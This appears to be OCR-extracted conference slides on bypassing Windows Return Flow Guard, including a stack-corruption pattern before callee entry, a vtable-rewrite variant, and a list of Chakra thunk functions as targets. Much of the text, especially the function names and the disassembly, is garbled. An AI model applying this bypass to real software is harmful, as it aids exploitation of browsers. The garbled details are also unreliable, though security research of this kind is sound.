Weaknessef RFG

void func_test(){
/[save ret addr to shadow stack
do some works
/lcmp ret addr with the value saved in shadow stack
return

Stack protect scope:

after entry func_test |$ I_J}) before leavingfunc_test

ﬂ before entry this function




Bypasspattern

func_A() {
//lcache func_A's return value

do some works
//corrupt the stack which is used in func_B before entry it
func_B()

//return from func_B

/lwe didn't corrupt the stack used in func_A, so RFG will pass the check
return



Atypical pattern

void function(){ //func_A
call [vtable+xxx] //func_C

rax = [vtable+yyy] //func_B

jmp rax

}

func_A/func_B/func_C are all protected with CFG and RFG
func_C is a virtual call, we can rewrite it to an interesting function func_D

before entry func_B (e.g. in func_D), corrupt the stack used in func_B
iInside func_B, it used an invaild stack and doesn't realize



Choosdunctions

Func_A
chakralJsJavascriptFunctiarDeferredDeserialize Thunk
chakra!NativeCodeGeneratoCheckAsmJsCodeGenThunk
chakra!NativeCodeGeneratoCheckCodeGenThunk
chakralJsinterpreterStackFrameAsmJsDelayDynamicinterpreterThunk
chakralJsinterpreterStackFrameDelayDynamiclnterpreterThunk
chakralJsDynamicProfileInfoEnsureDynamicProfileiInfoThunk
chakralJsScriptContextProfileModeDeferredParsingThunk
chakra!JsScriptContextProfileModeDeferredDeserialize Thunk
chakralJsJavascriptFunctiarDeferredParsingThunk
chakralJsJavascriptFunctiarDeferredDeserialize Thunk
X

. Func_QGo Func_D
chakralJsJavascriptProxyHasltem

pOQOVEfe " akd TE0QED 408DO424 may rax, quword pbr [rap]
BOQ0TEfb " akd 75054 6448890424 mow quord phkr £3: [rap], rax
POQ07LIn"AbOTS0LD 64408blozd mov Fll,qwerd ptr £8: [FER]
BOO07Lfb"ab07500e ic3blodd cnp rll,qwerd ptr [Lop]

00007 Lfb" ak075108 OLESTAELOQDD ne chakra! gquard sa wverify fallure [Q0DOVELEL"ab07B0BO)
00O07 LI aka 75108 =3 rat



Demo
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